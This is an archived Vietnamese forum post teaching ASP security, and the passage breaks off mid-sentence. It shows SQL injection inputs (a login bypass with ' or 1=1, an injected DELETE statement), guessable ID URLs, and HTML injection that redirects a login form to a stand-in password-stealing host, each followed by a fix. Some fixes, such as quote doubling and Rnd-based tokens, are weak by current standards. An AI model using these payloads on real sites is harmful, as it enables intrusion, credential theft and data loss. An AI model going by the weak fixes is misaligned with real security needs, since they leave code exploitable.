PDA

View Full Version : Active Server Pages Và Bảo Mật


giangholangtu
22-07-2004, 21:01
Giới thiệu

Asp là 1 ngôn ngữ dễ dùng và khá thông dụng hiện nay(theo zero thì nó chỉ thua PHP mà thôi). Tuy nhiên một số điều rất cơ bản về bảo mật của ngôn ngữ này thì thực sự là đáng buồn vì không được các những người soạn mã ASP chú ý tới mặc dù họ chỉ mất một vài phút để đánh thêm một hai dòng mã lệnh.Ví dụ như lỗi SQL Injection (1 lỗi thông dụng và là bug của hàng ngàn site hiện nay)

Dấu nháy

Như bạn đã biết khi xây dựng một câu lệnh SQL bạn cần phải đóng chúng trong dấu nháy đơn ''...''. Chúng ta hãy xem xét đoạn mã dưới đây:


CODE
searchtext = Request.Form("search")
sql = "SELECT * FROM Users WHERE password=''" &emp; searchtext &emp; "''"



Vì vậy nếu người sử dụng nhập là zero trong hộp tìm kiếm câu SQL sẽ như sau:


CODE
SELECT * FROM Users WHERE password=''zero''



Nhưng giả sử rằng người sử dụng nhập là hva''s programmer câu lệnh SQL sẽ như sau:

SELECT * FROM Users WHERE password=''hva''s programmer''

Điều này sẽ làm cho trang ASP của bạn bị lỗi. Bây giờ giả sử người sử dụng nhập vào là ''or 1=1 câu lệnh SQL sẽ như sau:


CODE
SELECT * FROM Users WHERE password='''' OR 1=1



Bạn thấy đấy,login không cần password :D

Vậy giải pháp ở đây là gì ??? Rất đơn giản,bạn chỉ cần thay thế một '' dấu nháy đơn bằng hai '''' dấu nháy đơn. Bạn có thể làm điều này trực tiếp hay sử dụng một hàm như QSTRING(…)


CODE
Function QSTRING(str)
QSTRING = Replace(str, "''", "''''")
End Function



Vì vậy khi xây dựng câu SQL chúng ta gọi hàm QSTRING vào bất cứ lúc nào để chèn vào một chuỗi.


CODE
sql = "SELECT * FROM Users WHERE password=" &emp; QSTRING(searchtext)



Bây giờ nếu người sử dụng nhập vào ''or 1=1 câu lệnh SQL sẽ như sau:


CODE
SELECT * FROM Users WHERE Password='''''' or 1=1''



Đó là một lỗ hổng bảo mật, chúng ta có thể sử dụng một giải pháp tương tự với lỗ hổng bảo mật tiếp theo.

ID và những con số
Khi người sử dụng nhập vào chuỗi ký tự, các con số (đặc biệt là những số ID) có thể chèn cả những câu lệnh SQL một cách dễ dàng.


CODE
userid = Request.Form("userid")
sql = "SELECT * FROM EliteUsers WHERE ID=" & userid



Người sử dụng có thể nhập vào 0; DELETE * From Products và câu lệnh SQL sẽ như sau:


CODE
SELECT * FROM EliteUsers WHERE ID=0; DELETE * FROM Products



Như bạn có thể tưởng tượng xóa tất cả các sản phẩm trong database chắc là không ổn ;-) rồi. Giải pháp trong trường hợp này cũng rất dễ. Chúng ta sẽ kiểm tra userid là chữ số không nếu không là chữ số thì ta đặt mặc định là 0.


CODE
Function QNUM(n)
If isNumeric(n) Then QNUM = Cdbl(n) Else QNUM = 0
End Function



Lại một lần nữa chúng ta có thể xây dựng câu lệnh SQL có sử dụng một hàm quote-number.


CODE
userid = Request.Form("userid")
sql = "SELECT * FROM EliteUsers WHERE ID=" & QNUM(userid)



ULR , QueryString và ID

Một rủi do bảo mật khác nữa với việc sử dụng những số ID. Nó được sử dụng trong một URL, lỗ hổng lần này không xuất phát trong việc sử dụng câu lệnh SQL mà là từ một con số đơn giản. Rất gần đây tôi đã viết mã ASP cho một trang website về thiệp điện tử, ở đây mọi người có thể viếng thăm, chọn một tấm thiệp, nhập vào một lời nhắn và gửi liên kết này đến một người bạn. Nó làm việc rất tốt, mã lệnh của nó không khó nhưng sau đó nhìn vào liên kết URL để xem tấm thiệp rõ ràng là đã có một lỗ hổng bảo mật. Bất cứ khi nào một ai đó tạo một tấm thiệp mới trên website nó sẽ được đưa vào trong database và cho một số ID mới. URL để xem tấm thiệp có thể như sau (chú ý: URL dưới chỉ là minh họa)

http://www.e-card.net/view.asp?ID=28

Khi địa chỉ này được đưa vào trình duyệt nó sẽ hiển thị một bức tranh cùng với một lời nhắn từ người gửi, tên người gửi địa chỉ e-mail của họ.

Bạn có nhận ra một lỗ hổng bảo mật ở đó không?

ID=28 ở cuối URL nói cho ta biết điều gì? Nó cho ta biết có 27 tấm thiệp khác và điều quan trọng là ta có thể dễ dàng chỉnh sửa số này và xem các e-card của người khác.

Vậy làm thế nào chúng ta ngăn cản được người sử dụng không xem được e-card của người khác?

Một cách có thể là yêu cầu người xem phải nhập địa chỉ email của họ vào và chỉ cho xem e-card nếu nó được gửi cho họ, song người sử dụng lại ghét nhập những chi tiết về mình đặc biệt là địa chỉ email.

Một mớ linh tinh và Password
Cách tôi dùng rất đơn giản và không bắt buộc người xem phải nhập địa chỉ email của mình mỗi lần họ nhận được e-card. Trong database tôi thêm một trường (field), nó sẽ đưa vào một mã số gồm 30 chữ sau mỗi lần một e-card được tạo.


CODE
Random Timer
password = ""
For i=1 to 30
password = password & Chr(65+Rnd(1)*26)
Next
ecardURL = "e-card.com/view.asp?pw=" &emp; password



Password này cũng được lưu trữ trong database cùng với những chi tiết của e-card (tên người gửi, địa chỉ email người gửi, tên người nhận, địa chỉ email người nhận, kiểu card, lời nhắn…). Bây giờ URL (chi dùng để minh họa) của một e-card có thể như sau:

http://www.e-card.com/view.asp?pw=ANQJZIWK...SNWJQU2BNXHZKQU

Vì vậy trang view.asp sẽ tìm trong database của nó sử dụng pw (password) chứ không trực tiếp sử dụng ID để tìm một card cụ thể. Tất nhiên có nhiều, nhiều cách tốt hơn để phát sinh một password.

Chèn vào mã HTML

Lỗi thường gặp với ASP là sử dụng Response.Write(…) hay các phương thức <%=...%> để hiển thị dữ liệu nhập vào của người sử dụng trên một trang. Giả sử bạn phải viết một bảng thông báo đơn giản cho phép người sử dụng gửi tin nhắn của họ sau đó xem lại tin nhắn đó. Bây giờ chuyện gì xẩy ra nếu một ai đó nhập vào <B> hoặc </TABLE>. Phần lớn các trường hợp nó sẽ đơn giản trả về trang HTML với những bảng lỗi, không đúng mầu hay font chữ... Hãy xem một FORM của một trang ASP dùng để đăng nhập.


CODE
<form action="login.asp" method="post">
Welcome <%=username%>. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form>



Và hãy xem đoạn mã này trên trình duyệt của máy khách giả sử người sử dụng nhập vào là MrZero:


CODE
<form action="login.asp" method="post">
Welcome MrHacker. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form>



Giả sử tên người sử dụng lại có chứa các thẻ HTML chắng hạn:


CODE
</form><form action="http://www.p4ssw0rdz.com/rip.asp" method="post">



Kết quả HTML ở trình duyệt máy khách sẽ như sau:


CODE
<form action="login.asp" method="post">
Welcome </form><form action="http:/www.p4ssw0rdz.com/rip.asp" method="post">. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form>



Bạn thấy đấy chúng ta vừa hacked một cách có hiệu quả với hoạt động của FORM url để gửi thông tin một lần nữa tới địa chỉ của mình (http://www.p4ssw0rdz.com/rip.asp). Giải pháp ở đây rất dễ, chúng ta sử dụng hàm Server.HTMLEncode(..) để chuyển các ký tự <…> nguy hiểm này vào trong các thực thể <…> HTML. Giải pháp khác nữa là có thể xác định tính hợp lệ (cơ chế lọc) dữ liệu vào của người sử dụng một cách cẩn thận. Bây giờ đoạn mã ASP sẽ như sau:


CODE
<form action="login.asp" method="post">
Welcome <%=Server.HTMLEncode(username)%>. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form>



Tôi đề nghị là dùng cả hai cách kiểm tra cẩn thận phía server và sử dụng Server.HTMLEncode( ) bất cứ khi nào bạn chèn ‘plain text’ vào tài liệu HTML.

Cho phép <…>
Nhưng giải sử bạn muốn cho phép giới hạn một số thẻ HTML <…> như là <b> <i> <u> … trường hợp này có hai giải pháp thông dụng, thứ nhất là không cho phép tất cảc các thẻ <…> và sử dụng [b] [u] thay thế (đây là cách rất thông dụng), thứ hai là bạn tự phân tích chuỗi ký tự và xóa tất cả các ký tự không nằm trong danh sách các ký